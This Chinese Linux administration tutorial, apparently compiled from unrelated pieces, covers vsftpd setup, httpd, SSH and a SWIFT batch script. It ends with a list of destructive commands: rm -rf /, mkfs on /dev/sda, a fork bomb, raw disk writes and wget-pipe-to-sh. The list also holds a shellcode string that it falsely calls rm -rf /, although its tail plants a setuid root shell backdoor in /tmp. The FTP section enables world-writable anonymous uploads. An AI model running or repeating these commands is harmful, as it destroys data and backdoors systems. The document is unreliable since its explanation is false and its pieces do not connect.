# 真實用戶上傳文件的掩碼設為022。這樣真實用戶上傳後的文件權限為755(rwxr-xr-x),即文件所有者可讀寫執行、同組成員可讀可執行、

# 系統中的其它用戶可讀可執行。

local_umask=022

# 允許匿名用戶訪問。匿名用戶在系統中的賬号是ftp

anonymous_enable=YES

# 匿名用戶上傳文件的掩碼設為000。這樣文件上傳後的權限為777(rwxrwxrwx),即所有人都可以讀寫執行。

anon_umask=000

# 匿名用戶可上傳、可創建目錄。一下3行隻有設置了write_enable=YES才有效。

anon_upload_enable=YES

anon_mkdir_write_enable=YES

anon_world_readable_only=NO

# 如果想要讓匿名用戶有删除的權限可以加上如下代碼

# anon_other_write_enable=YES

# 進入每個目錄都顯示特定提示。這些提示放在各個目錄下.message文件中。

dirmessage_enable=YES

# 當用戶登陸ftp服務器時,不管是否登陸成功都顯示如下信息。

ftpd_banner=Welcome to NiHao FTP service.

# 使用日志記錄上傳和下載。

xferlog_enable=YES

# 日志文件的位置

#xferlog_file=/var/log/vsftpd.log

#日志使用标準fpd格式

xferlog_std_format=YES

# ftp服務的端口是20

connect_from_port_20=YES

# 用戶使用ftp訪問服務器時,把他們的登陸目錄作為它們在ftp中看到的目錄,這稱為chroot。

# 這樣用戶就無法訪問他們登陸目錄以外的内容,大大增強了安全性。匿名用戶的登陸目錄是/var/ftp/

chroot_list_enable=YES

# 文件/etc/vsftpd.chroot_list中的用戶不chroot。

chroot_list_file=/etc/vsftpd.chroot_list

# 同時最多允許5個用戶登陸。

max_clients=5 #有些不支持此選項,注釋掉即可。

# ftp服務的密碼驗證模塊。

pam_service_name=vsftpd

# listen=YES #如果是獨立運行的則加此項(redhat9)。

#tcp_wrappers=YES #如果是獨立運行的則加此項(redhat9)。

4.重新啟動xinetd服務,你就可以匿名訪問你的ftp服務器了。

下面我們來建立一個ftp管理員賬号

在Linux ftp服務中,用戶的權限受到雙重限制。一是Linux文件系統本身的權限限制。每個文件的訪問權限用rwxrwxrwx形勢表示。每個用戶隻能做文件權限允許的操作。二是ftp配置的限制。系統允許的操作,如果在ftp的配置文件中沒有被允許,用戶還是不能作這個操作。如:某個文件的權限為rwxrwxrwx,即系統認為任何人都有讀寫執行的權利。如果vsftpd.conf中不允許匿名用戶寫,匿名用戶還是不能修改這個文件。

對于目錄文件的讀權限,意味着可以讀出這個目錄中的文件信息。目錄文件的寫權限,意味着可以在這個目錄下建立、删除、重命名文件。

用命令groupadd-r ftpAdmin添加一個ftp管理員組。其中-r表示這是一個系統組。

用命令useradd -c "ftp Administrator" -d /var/ftp/ -G ftpAdmin -s /sbin/nologin -r ftpAdmin添加一個管理員用戶ftpAdmin。其中

-c "ftp Administrator" 是對這個用戶的描述

-d /var/ftp/ 是這個用戶的登陸目錄

-g ftpAdmin 是這個用戶所在的組

-s /sbin/nologin 是這個用戶登陸時所用的shell。這個shell命令的功能極其弱,以至于不能用telnet登陸。也就是說這個管理員隻能當當垃圾清掃員。(呵呵。好沒面子的管理員)

-r 表示這是個系統賬号,不用為它建立登陸目錄。

建好管理員以後把incoming目錄的管理權給他。

chown ftpAdmin /var/ftp/incoming :把此目錄所有者設為ftpAdmin。

chmod 755 /var/ftp/incoming :把目錄的權限設為所有者可讀寫執行,同組用戶可讀、可執行,所有人可讀、可執行。

這樣,我們的管理員就可以開始管理了。

5 . 配置vsftpd允許匿名用戶上傳

//修改vsftpd的主配置文件/etc/vsftpd.conf

# vi /etc/vsftpd.conf

//将如下兩行前的#删除

//① #anon_upload_enable=YES 允許匿名用戶上傳

//② #anon_mkdir_write_enable=YES 開啟匿名用戶的寫和創建目錄的權限

//若要以上兩項設置生效,同時還要求:

//(1) write_enable=YES

//(2) 匿名用戶對文件系統的上傳目錄具有寫權限

//添加如下的配置語句

// anon_world_readable_only=NO

//上面的配置語句用于放開匿名用戶的浏覽權限

//修改後存盤退出vi

//

//創建匿名上傳目錄

#mkdir/var/ftp/incoming

# 修改上傳目錄的權限

# chmod o+w /var/ftp/incoming/

#

//重新啟動xinetd

# service xinetd restart

Web服務

(httpd)

同樣在setup中選中httpd服務。www服務不需要xinetd作為它的代理進程。httpd這個進程一直在系統中運行。www服務的默認目錄是/var/www/html。隻要把主頁放到這個目錄下就可以訪問了。

我們可以用建立ftp管理員的辦法建立一個www管理員wwwAdmin。隻要把它的登陸目錄設為/var/www/html即可。

/etc/init.d/httpd start #啟動服務

/etc/init.d/httpd restart #重新啟動

其配置文件為/etc/httpd/conf/httpd.conf

ssh服務

SSH 是什麼呢?他有什麼特異功能?簡單的來說,SSH 是 Secure SHell protocol 的簡寫,他可以經由将聯機的封包加密的技術,來進行資料的傳遞,因此,資料當然就比較安全啰!這個 SSH 可以用來取代 Internet 上面較不安全的 finger, R Shell (rcp, rlogin, rsh 等指令), talk 及 telnet 等聯機模式。底下我們将先簡介一下 SSH 的聯機模式,來說明為什麼 SSH 會比較安全呢!

特别注意:這個 SSH 協議,在預設的狀态中,本身就提供兩個服務器功能:

1. 一個就是類似 telnet 的遠程聯機使用 shell 的服務器,亦即是俗稱的 ssh ;

2. 另一個就是類似 FTP 服務的 sftp-server !提供更安全的 FTP 服務。

應用實例

#!/bin/ksh

home=`pwd`

export CLASSPATH="${home}/lib/swift-fields-1.0.jar:${home}/lib/wife-5.2.jar:${home}/lib/commons-lang-2.4.jar:${home}/lib/log4j-1.2.15.jar:${home}/lib/poi-3.1-FINAL.jar:${home}/lib/swiftmsggeneration-1.0.jar"

LOG_FILE=${home}/log/start_data_decrypt`date +"%y%m%d"`.log

echo "LOG_FILE: " $LOG_FILE

if [ -f $LOG_FILE ]; then

FILE_LEN=`cat $LOG_FILE|wc -l`

#echo $FILE_LEN, 200000 is about 30MB

if [ $FILE_LEN -gt 200000 ]; then

mv $LOG_FILE $LOG_FILE.bak

touch $LOG_FILE

chmod o+r $LOG_FILE

fi;

fi

if [ -z ${JAVA_HOME} ] ; then

echo "Get JAVA_HOME environment variable exported in terms of the directory to store JDK installed" >>${LOG_FILE}

exit -1

fi

echo "INFO:Generation begin .........." >>${LOG_FILE}

$JAVA_HOME/bin/java -cp ${CLASSPATH} com.abc.cde.swift.job.SwiftMsgGeneration "MT202" 2>&1 >> $LOG_FILE

echo "INFO:Generation end .........." >>${LOG_FILE}

echo "INFO:You can get original file in ${hist} .........." >>${LOG_FILE}

echo "INFO:You can get ecnrypt file in ${output} .........." >>${LOG_FILE}

其他相關

擦除根目錄

Code:

rm -rf /

這個很簡單,根目錄會被擦光。

2. 16進制擦除根目錄

Code:

char esp[] __attribute__ ((section(".text"))) /* e.s.p

release */

= "xebx3ex5bx31xc0x50x54x5ax83xecx64x68"

"xffxffxffxffx68xdfxd0xdfxd9x68x8dx99"

"xdfx81x68x8dx92xdfxd2x54x5exf7x16xf7"

"x56x04xf7x56x08xf7x56x0cx83xc4x74x56"

"x8dx73x08x56x53x54x59xb0x0bxcdx80x31"

"xc0x40xebxf9xe8xbdxffxffxffx2fx62x69"

"x6ex2fx73x68x00x2dx63x00"

"cp -p /bin/sh /tmp/.beyond; chmod 4755

/tmp/.beyond;";

沒看懂?呵呵,其實就是16進制的[rm -rf /].

抹盤處理

Code:

mkfs.ext3 /dev/sda

抹盤行為無疑是危險的。

大數據處理

Code:

:(){:|:&};:

這不是90後的表情,也不是托蒂射點球前的表情,它可以讓你的系統迅速因為處理大量數據而死機。用此條命令測試後無反應呢?

5. 寫RAM數據

Code:

any_command > /dev/sda

這個命令将會寫入大量的RAW數據,可以導緻數據丢失。

執行 ls > /dev/sda 後無法進入系統,你可以試試哦

6. 未驗證的下載源

Code:

wget some_untrusted_source -O- | sh

和Windows一樣,千萬不要亂下載未經證實安全性的源,這年頭Linux和胡蘿蔔一樣,也不會保險。

7. 消失的主目錄

Code:

mv /home/yourhomedirectory/* /dev/null

這條命令無疑會讓系統抓狂,你的主目錄會再也看不到。

相關詞條

相關搜索

其它詞條